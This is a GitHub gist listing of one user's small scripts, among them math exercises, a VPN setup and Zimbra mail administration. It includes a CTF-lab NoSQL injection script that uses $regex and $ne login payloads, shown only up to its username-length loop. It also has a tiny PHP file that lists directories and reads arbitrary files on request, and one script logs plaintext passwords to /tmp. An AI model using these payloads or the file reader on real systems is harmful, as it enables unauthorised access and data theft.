Skip to content

Instantly share code, notes, and snippets.

View laztname's full-sized avatar

laztname

View GitHub Profile
@laztname
laztname / inversmatriks.py
Last active April 15, 2019 01:06
matriks invers
#!/bin/env python
def banner():
print("Menghitung invers matriks 3x3")
print("created with <3 by lazt")
def determinan():
global det
det = (bar1[0] * bar2[1] * bar3[2]) + (bar1[1] * bar2[2] * bar3[0]) + (bar1[2] * bar2[0] * bar3[1]) - (bar1[2] * bar2[1] * bar3[0]) - (bar1[0] * bar2[2] * bar3[1]) - (bar1[1] * bar2[0] * bar3[2])
print("Nilai determinannya adalah: ",det)
@laztname
laztname / gauss.py
Created May 13, 2019 03:07
gaussian elimination
#!/bin/env python
def pprint(A):
n = len(A)
for i in range(0, n):
line = ""
for j in range(0, n+1):
line += str(A[i][j]) + "\t"
if j == n-1:
line += "| "
#!/bin/env python
import random
print("Tebak angka")
a = int(input("Masukan angka 1-5\n"))
b = random.randint(1,5)
if a == b:
print("kamu menang!")
elif a != b:
print("kamu kalah!!!, angka yang benar",b )
@laztname
laztname / parallel.sh
Created February 28, 2020 18:02
parallel against time
function pwait() {
while [ $(jobs -p | wc -l) -ge $1 ]; do
sleep 1
done
}
for i in $(cat list.txt); do
do_the_jobs &
pwait 6 # 6 = max thread
done
@laztname
laztname / get-user-pass.sh
Created June 15, 2020 17:44
NoSQL Injection data extracting.
#!/bin/bash
# for education purpose only.
# this is a labs.retas.io hellbound challenges.
# created just for fun.
# ambil panjang username
for len in {1..20};
do
post="username[\$regex]=.{$len}&password[\$ne]=hax0r"
exec=$(curl -Ls 'http://10.10.10.3/login/login.php' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.84 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://10.10.10.3' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: http://10.10.10.3/login/' -H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' --data "$post")
printf "check panjang username: $len\r"
#!/bin/env bash
# reqiured packages: strongswan xl2tpd net-tools
# adjust with your credentials given from ISP
VPN_SERVER_IP='your_vpn_server_ip'
VPN_IPSEC_PSK='your_ipsec_pre_shared_key'
VPN_USER='your_vpn_username'
VPN_PASSWORD='your_vpn_password'
# routing data needed
GATEWAY_IP=$(ip route | grep via | awk -F\ {'print $3'})
@laztname
laztname / removespam.sh
Last active June 29, 2021 02:17
zimbra remove spam for all accounts in inbox
# remove spam / phising in all account inbox
# modified from https://github.com/Ghosto27/Zimbra_remover/blob/master/rm_message.sh
# for victim in $(cat list); # list of victims gathered from mail gateway or just
for victim in $(zmprov -l gaa); # for all account in mail server
do
echo "=======Looking for "$victim""
#instead "From:$subject" you can use "subject:$subject" or something another or using content
for msg in `zmmailbox -z -m "$victim" s -l 500 -t message "content:(\"pending incoming messages\")" | awk '{ if (NR!=1) {print}}' | grep -v -e Id -e "-" -e "^$" | awk '{ print $2 }'`
do
echo "Found "$msg""
@laztname
laztname / mail-check.php
Created August 24, 2021 02:35
php simple check valid mail and mail server to prevent bounce
<?php
//include 'functions.php';
$email = $_POST['mail'];
if(filter_var($email, FILTER_VALIDATE_EMAIL)) {
$domain = array_pop(explode('@', $email));
if(checkdnsrr($domain, 'mx')) {
exit('mail sent');
//mail($email, $subject, $message, $headers);
} else {
exit('mail server not found');
<?=
# $ curl localhost/fm.php --data "0=."
# $ curl localhost/fm.php --data "0=fm.php&r"
$path = $_POST[0];
print_r(scandir($path));
if (isset($_POST['r']) && file_exists($path)) {
readfile($path);
print_r(file_get_contents($path));
@laztname
laztname / user.sh
Created February 16, 2022 01:22
zimbra cli multiple create account with random password from dinopass api
#!/bin/bash
for i in $(cat user); do
pass=$(curl -s https://www.dinopass.com/password/strong 2> /dev/null);
zmprov ca $i@example.com "$pass";
echo "[+] user:$i created with password: $pass" >> /tmp/log;
sleep 0.2;
done